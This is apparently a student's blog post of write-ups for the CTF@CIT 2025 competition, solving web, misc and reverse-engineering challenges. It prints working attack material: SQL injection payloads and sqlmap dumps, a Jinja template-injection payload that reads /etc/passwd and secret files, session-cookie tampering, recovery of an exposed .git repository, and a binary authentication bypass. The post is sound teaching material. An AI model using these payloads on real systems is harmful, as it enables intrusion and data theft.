CTF@CIT 2025 Writeups

Liam Geyer

I recently competed in the second annual CIT@CTF with a team from Penn State’s Competitive Cyber Security Organization where we were able to nab 7th place out of 950 teams.

Leaderboard

This three-day CTF was a lot of fun, and somewhat bittersweet as this is my last competition under the banner of CCSO. After four years and over 25 collegiate competitions I’m happy to end things with a strong finish.

CIT LOGO

I’ve detailed solutions to some of the challenges I tackled during this competition - I mostly focused on web, misc, and reverse engineering this time around.

Web

Breaking Authentication

Challenge description:

1
"Say my username."

We’re given a site to checkout with a simple login page.

Login Page

I tried logging in with some basic default credentials with no success - so I pivoted to attempting SQL injection.

I was able to bypass authentication and login with the following payload:

1
2
username: admin
password: ' OR '1

That got me access to the super advanced and not at all helpful admin panel.

Admin Panel

Using burp, I saved a copy of my login request to toss into sqlmap.

Burp login

Next I used that request to enumerate databases with sqlmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sqlmap -r ~/Documents/cit25/sqli --batch --dbs     
___
__H__
___ ___["]_____ ___ ___ {1.9.4#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:04:13 /2025-05-01/

[00:04:13] [INFO] parsing HTTP request from '/home/lfgberg/Documents/cit25/sqli'
[00:04:13] [INFO] resuming back-end DBMS 'mysql'
[00:04:13] [INFO] testing connection to the target URL
got a 302 redirect to 'http://23.179.17.40:58001/admin.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=admin' AND 9168=9168#&password=' OR '1&login=Login

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' AND (SELECT 7326 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(7326=7326,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TkwK&password=' OR '1&login=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 4577 FROM (SELECT(SLEEP(5)))YJnE)-- cGNc&password=' OR '1&login=Login
---
[00:04:13] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.28, Apache 2.4.63
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[00:04:13] [INFO] fetching database names
[00:04:13] [INFO] resumed: 'information_schema'
[00:04:13] [INFO] resumed: 'app'
[00:04:13] [INFO] resumed: 'mysql'
[00:04:13] [INFO] resumed: 'sys'
[00:04:13] [INFO] resumed: 'performance_schema'
available databases [5]:
[*] app
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[00:04:13] [INFO] fetched data logged to text files under '/home/lfgberg/.local/share/sqlmap/output/23.179.17.40'

[*] ending @ 00:04:13 /2025-05-01/

Next I used the same request to dump the app database which revealed the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sqlmap -r ~/Documents/cit25/sqli --batch -D app --dump
___
__H__
___ ___["]_____ ___ ___ {1.9.4#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:05:39 /2025-05-01/

[00:05:39] [INFO] parsing HTTP request from '/home/lfgberg/Documents/cit25/sqli'
[00:05:39] [INFO] resuming back-end DBMS 'mysql'
[00:05:39] [INFO] testing connection to the target URL
got a 302 redirect to 'http://23.179.17.40:58001/admin.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=admin' AND 9168=9168#&password=' OR '1&login=Login

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' AND (SELECT 7326 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(7326=7326,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TkwK&password=' OR '1&login=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 4577 FROM (SELECT(SLEEP(5)))YJnE)-- cGNc&password=' OR '1&login=Login
---
[00:05:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.28, Apache 2.4.63
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[00:05:39] [INFO] fetching tables for database: 'app'
[00:05:39] [INFO] resumed: 'secrets'
[00:05:39] [INFO] resumed: 'users'
[00:05:39] [INFO] fetching columns for table 'secrets' in database 'app'
[00:05:39] [INFO] resumed: 'name'
[00:05:39] [INFO] resumed: 'varchar(255)'
[00:05:39] [INFO] resumed: 'value'
[00:05:39] [INFO] resumed: 'varchar(255)'
[00:05:39] [INFO] fetching entries for table 'secrets' in database 'app'
[00:05:39] [INFO] resumed: 'flag'
[00:05:39] [INFO] resumed: 'CIT{36b0efd6c2ec7132}'
Database: app
Table: secrets
[1 entry]
+--------+-----------------------+
| name | value |
+--------+-----------------------+
| flag | CIT{36b0efd6c2ec7132} |
+--------+-----------------------+

Commit & Order: Version Control Unit

Challenge description:

1
"In software development, the repository is represented by two separate yet equally important branches..."

Checking out the website we’re provided with an uninteresting login panel.

Login Page

I used gobuster to fuzz for content and found the .git directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://23.179.17.40:58002/   
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://23.179.17.40:58002/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 320] [--> http://23.179.17.40:58002/.git/]
/.htaccess (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/server-status (Status: 403) [Size: 280]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

We’re getting a 403 here - but we can still try to recover the git repository. A .git directory contains commit history, packed references, etc. and can be used to recover an entire git repository. I used the tool git-dumper to recover the contents of the repo.

1
2
3
4
5
6
python3 git_dumper.py http://23.179.17.40:58002/ ~/Documents/cit25/commitandorder
[-] Testing http://23.179.17.40:58002/.git/HEAD [200]
[-] Testing http://23.179.17.40:58002/.git/ [403]
[-] Fetching common files
[SNIPPED]
[-] Running git checkout .

Here we have a full reconstruction of a git repo containing source for the website. We can use this to read index.php to find login credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

session_start();

if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'loggedout';
}

if (isset($_POST['username']) && isset($_POST['password'])){

$username = $_POST['username'];
$password = $_POST['password'];

if ($username == 'admin' && $password == '9f3IC3uj9^zZ'){
$_SESSION['username'] = $username;
header('Location: /admin.php', true);
exit();
}
else {
$_SESSION['username'] = $username;
$_SESSION['message'] = 'Invalid username or password.';
}
}
?>

The credentials weren’t very useful so I decided to poke at previous commits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
git log --name-only                                  
commit 7c8c6a8e434cb23aa9c9dac0ce715e928016849a (HEAD -> master)
Author: webmaster <[email protected]>
Date: Fri Apr 18 12:39:59 2025 -0400

I think we're good for now

admin.php

commit 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36
Author: webmaster <[email protected]>
Date: Fri Apr 18 12:39:06 2025 -0400

changed it again

admin.php

commit 68f8fcdbebcca3c8fda1e91fcb842992d09a41d4
Author: webmaster <[email protected]>
Date: Fri Apr 18 12:34:30 2025 -0400

putting chatgpt to work

admin.php

commit 247b12483ba3a6a8d177fdd9d74416a01eb61512
Author: webmaster <[email protected]>
Date: Fri Apr 18 12:30:08 2025 -0400

updated some more

admin.php

commit ca9517713391aca6f5073758effa47c33d3be6b4
Author: webmaster <[email protected]>
Date: Fri Apr 18 12:26:52 2025 -0400

updated admin page

admin.php

commit 0e775315a623ed96d9b0b53e6ffb69dd06b93902
Author: webmaster <[email protected]>
Date: Fri Apr 18 12:18:13 2025 -0400

first commit

admin.php
index.php

I used git checkout to examine each commit. Eventually I found one with interesting content.

1
git checkout 68f8fcdbebcca3c8fda1e91fcb842992d09a41d4

Within the source for the admin panel, we can find the flag (in base64).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<div class="main-content">
<div class="warning-banner">
<svg width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
<path d="M1 21h22L12 2 1 21zm12-3h-2v2h2v-2zm0-8h-2v6h2v-6z" />
</svg>
This admin panel is under construction. No actual functionality is available yet. But here, have this: Q0lUezVkODFmNzc0M2Y0YmMyYWJ9
</div>

<div class="progress-container">
<div class="progress-bar">40% Complete</div>
</div>
<div class="eta">Estimated Completion: Q3 2025</div>

<div class="card">
<h3>System Overview</h3>
<p class="placeholder-text">This section will show system metrics and server status.</p>
</div>

<div class="card">
<h3>Recent Activity</h3>
<p class="placeholder-text">User and system activity logs will appear here.</p>
</div>

<div class="card">
<h3>Manage Interfaces</h3>
<p class="placeholder-text">Interface management tools will be added in future updates.</p>
</div>
</div>
</body>

How I Parsed your JSON

Challenge description:

1
2
3
"This is the story of how I defined your schema."

The flag is in secrets.txt

For the first time, we have something other than a login page to look at!

FlaskMyAdmin

This app reads data from .json files in a specific directory - while stripping file extensions. It gives us a handful of files such as employees to read from, and we’re able to use “SQL-like syntax”.

I sent an example request to read all the content from employees.json.

Burp Example Request

I started fuzzing at the container parameter to see what other files we could read. I started by testing out absolute paths.

/etc/hosts

We’re able to read the content of /etc/hosts - presumably because it doesn’t have an extension.

.json

If we add .json to our query - it’s removed.

.json.json

If we add two file extensions such as .json.json, only the second is removed. We can use this to access the flag in secrets.txt by querying secrets.txt.json if we’re able to find the path.

It wasn’t in the root directory, or any common web directory. I got pretty stumped trying to find this thing - so i read the following files to get more info:

1
2
3
4
5
/proc/self/cmdline
/proc/self/mounts
/proc/self/maps
/proc/self/status
/proc/self/fd/X

I couldn’t find a thing. Eventually the all knowing oracle (ChatGPT) suggested i try in /app - so I did.

Flag!

Lo and behold! A flag and credentials.

Keeping Up with the Credentials

Challenge description:

1
2
3
"I’m all about strong passwords. If you're not using one, you’re just playing yourself."

This challenge requires something that can be acquired in any of the other web challenges.

Right off the bat we can assume this is going to deal with the reuse of the admin credentials we’ve already found: admin:9f3IC3uj9^zZ.

Login

There’s a login page, and wouldn’t you believe it - our creds work! But they don’t get us anything good.

Debug Panel

There’s a useless admin panel. Fuzzing for content with gobuster there’s only one other page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://23.179.17.40:58003 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://23.179.17.40:58003
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 280]
/.htpasswd.php (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/.htaccess.php (Status: 403) [Size: 280]
/admin.php (Status: 302) [Size: 0] [--> /index.php]
/debug.php (Status: 302) [Size: 0] [--> /index.php]
/index.php (Status: 200) [Size: 2484]
/server-status (Status: 403) [Size: 280]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished
===============================================================

We can’t access admin, debug has nothing useful. I felt pretty stuck here. I fuzzed at HTTP verbs, potential hidden parameters, etc. to no avail.

If we dig into the login request - it’s done through a GET request.

GET Logon Request

For seemingly no reason - if we change this to a POST request and follow the redirect it spits out the flag. I was pretty annoyed with this one.

POST Logon Request

Admin Panel With Flag

Mr. Chatbot

Challenge description:

1
2
3
"What's your prompt?"

The flag is in secrets.txt

We’re greeted with a welcome page prompting for a name.

Login Panel

I tossed in the SSTI payload {{3*3}}. We’re brought to a “chatbot” page where the value of the username is reflected - and sanitized (BOO).

Chat Page

The chat seems pretty useless - and digging into the page it’s all client-side JS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
const userName = "3*3";

window.onload = () => {
addMessage(`Hello ${userName}! I'm your chat bot. 🤖`, 'bot');
};

function sendMessage() {
const input = document.getElementById('userInput');
const message = input.value.trim();
if (!message) return;

addMessage(message, 'user');
input.value = '';

setTimeout(() => {
const reply = generateBotResponse(message);
addMessage(reply, 'bot');
}, 500);
}

function addMessage(text, sender) {
const chat = document.getElementById('chat');
const msg = document.createElement('div');
msg.className = 'message ' + sender;
msg.textContent = text;
chat.appendChild(msg);
chat.scrollTop = chat.scrollHeight;
}

function getRandomResponse() {
const responses = [
"Huh?",
"What?",
"I don't understand.",
"Could you repeat that?",
"I didn’t catch that.",
"I'm not sure about that.",
"Could you explain again?",
"Sorry, I missed that.",
"Not sure what you mean.",
"I’m not following.",
"Can you say that again?",
];
const randomIndex = Math.floor(Math.random() * responses.length);
return responses[randomIndex];
}

function generateBotResponse(userMsg) {
const lower = userMsg.toLowerCase();
if (lower.includes('flag')) {
return `Everyone asks what is the flag, but how are you doing. ☹️`;
} else if (lower.includes('how are you')) {
return `Thanks ${userName}! I'm doing great 😄`;
} else {
return getRandomResponse();
}
}

Other than seeing our reflected username, nothing here is useful to us. I fuzzed for content but didn’t find anything else on the site.

Digging into our login request we can see what looks like a JWT get assigned.

JWT

Decoding that it’s not actually a JWT - but it’s a flask session cookie. the first portion is base64 - decoding it we can see the following payload:

1
2
3
4
{
"admin": "0",
"name": "3*3"
}

Well naturally we want to be admin. let’s try again asking politely.

Admin!

Appending admin=1 to our login request gives a drastically different session cookie, decoding it shows the following payload:

1
2
3
4
5
{
"admin": "1",
"name": "3*3",
"uid": "OWImIzM5OysrIVx4YjhceGQ1XHg5ZT92XHhiZTUvXHgwOFYtXHhhNjZceDEwXHhkM1x4ZGRceGJhXHg4NHxceGM1XHhiMFx4OTdcblx4ZDBceGFkXHhhY1x4ZDV9XHhlMyYjMzk7"
}

We’re now an admin - but there’s an additional base64 encoded uid value:

1
9b&#39;++!\xb8\xd5\x9e?v\xbe5/\x08V-\xa66\x10\xd3\xdd\xba\x84|\xc5\xb0\x97\n\xd0\xad\xac\xd5}\xe3&#39;

There’s some data that I wasn’t able to decode, I tried again with another username test:

1
testb&#39;\x9f\x86\xd0\x81\x88L}e\x9a/\xea\xa0\xc5Z\xd0\x15\xa3\xbfO\x1b+\x0b\x82,\xd1]l\x15\xb0\xf0\n\x08&#39;

Comparing these two uid values we can see that the username is reflected before the blob of data. But when we entered the SSTI payload {{3*3}} 9 was reflected instead. This indicates that our payload successfully evaluated. We can run with this to try and read the flag based on the uid value.

I was able to use a URL-Encoded version of this payload to grab /etc/passwd - proving that we can read files:

1
{{ self.__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}

This format is consistent with Jinja/Python which lines up with the rest of the challenges - and the server header.

/etc/passwd payload

Decoding that cookie we can see the contents of /etc/passwd within the uid value. We can repeat the same technique to grab the flag.

secrets!

Decoding that cookie we get the following:

1
2
3
4
5
{
"admin": "1",
"name": " self.__init__.__globals__['__builtins__']['open']('appsecrets.txt').read() ",
"uid": "YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceGFmXHhmNlx4YmIzXHgxYXtceDBmXHhjZFx4MTFoVlx4OGZceGY1XHhlZVx4ZDFceGRkcVx4YjRceGY1XHhhZVhceDk1N1x4OTJceDE3XHgxNiRceDA1fFx4YzNceDFlQiYjMzk7"
}

Which eventually decodes to our flag:

1
2
3
admin:9f3IC3uj9^zZ

CIT{18a7fbedb4f3548f}b&#39;\xaf\xf6\xbb3\x1a{\x0f\xcd\x11hV\x8f\xf5\xee\xd1\xddq\xb4\xf5\xaeX\x957\x92\x17\x16$\x05|\xc3\x1eB&#39;

Misc

Robots

Challenge description:

1
Beep boop

This felt pretty straightforward. I went right to the sites robots.txt file.

1
2
3
4
5
6
7
[SNIPPED]
Disallow: /redundant/
Disallow: /experimental_deploy/
Disallow: /CIT{m6F2nr8RgjYI}/
Disallow: /beta_testing/
Disallow: /temp_storage/
[SNIPPED]

Sure enough, I was greeted with a flag in the middle of the file.

Calculator

Challenge description:

1
Find the flag.

We’re given the file calculator.lua to checkout:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function calculate(num1,num2,operator)
if operator == "+" then
return num1 + num2
elseif operator == "-" then
return num1 - num2
elseif operator == "*" then
return num1 * num2
elseif operator == "/" then
if num2 == 0 then
return "Error: Division by zero is not allowed."
else
return num1 / num2
end
else
return "Error: Invalid operator."
end
end

io.write("Enter the first number: ")
local input1 = io.read()
local number1 = tonumber(input1)
if not number1 then
print("Invalid input. Please enter a valid number.")
os.exit(1)
end

io.write("Enter an operator (+, -, *, /): ")
local operator = io.read()

io.write("Enter the second number: ")
local input2 = io.read()
local number2 = tonumber(input2)
if not number2 then
print("Invalid input. Please enter a valid number.")
os.exit(1)
end

local result = calculate(number1, number2, operator)

print("Result: " .. tostring(result))
[SNIPPED]

It looks like a pretty normal Lua file, but at the bottom there’s a lot of whitespace. Highlighting it in a text editor reveals a hidden message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   	    		


































-- nope no flag here, keep looking :P

This definitely looks like something. Digging around online I was able to find this decoder for a whitespace language which spits out the flag.

Malware Analysis

Challenge description:

1
I got this file here and I think it might be malware but I'm not sure hopefully u can figure it out!!!

We’re given a binary to check out. I didn’t see any interesting strings, and running it in a VM also didn’t prove to be interesting - so I decided to throw it into Virus Total.

Virus Total

Here we can see that it’s been submitted previously with the flag as the name.

Rev

Ask Nicely

Challenge description:

1
I made this program, you just have to ask really nicely for the flag!

We’re presented with an ELF binary to poke at. This challenge was super simple, I just ran strings on the binary and found the following interesting strings:

1
2
3
4
5
pretty pretty pretty pretty pretty please with sprinkles and a cherry on top
How badly do you want the flag?
Ask nicely...
Good job, I'm so proud of you!
that's not quite what I'm lookng for.

If we run the binary it prompts to see how badly we want the flag. I entered the phrase from strings and it happily spat it out.

1
2
3
4
5
6
7
./asknicely
How badly do you want the flag?
pretty pretty pretty pretty pretty please with sprinkles and a cherry on top
Ask nicely...
pretty pretty pretty pretty pretty please with sprinkles and a cherry on top
Good job, I'm so proud of you!
CIT{2G20kX09yF3F}

Proud

Read Only

Challenge description:

1
Here we go!

We’re presented with another ELF binary. This challenge was also strings-able.

Flag in Cleartext

Password Manager

Challenge description:

1
This custom password manager should keep all my accounts super secure!

This one got interesting. Digging into the binary we can see that it’s a password manager which presents four options: log in, log out, read password, save password.

Trying to use it to read the flag we’re presented with an authorization error.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Welcome to my password manager!
Please select an option below
=========================
1. log in
2. log out
3. read a password
4. save a password
=========================
1
Welcome to my password manager!
Please select an option below
=========================
5. log in
6. log out
7. read a password
8. save a password
=========================
3
Account name: flag
flag password: ERROR_NOT_AUTHENTICATED

Trying to login doesn’t work. I threw this into Binja/Ghidra to take a closer look.

Binja

We can see a reference to the user Ronnie, we need to be authenticated as Ronnie in order to access any of the passwords.

Ghidra

I was able to patch the binary to bypass the authentication checks, when I’d select login I was greeted with my Linux username. This clued me in to the fact that the binary was checking to see if the user account running the binary was named ronnie.

I made a new user on my box named ronnie, and ran the binary. I had to do this actually logged in as Ronnie for it to work, I couldn’t just su ronnie.

From here we can login, read Ronnie’s password, and read the flag with the patched version of the binary!

Flag!

  • Title: CTF@CIT 2025 Writeups
  • Author: Liam Geyer
  • Created at : 2025-04-28 00:00:00
  • Updated at : 2025-05-01 19:25:46
  • Link: https://lfgberg.org/2025/04/28/ctfs/CIT-CTF-25/
  • License: This work is licensed under CC BY-NC-SA 4.0.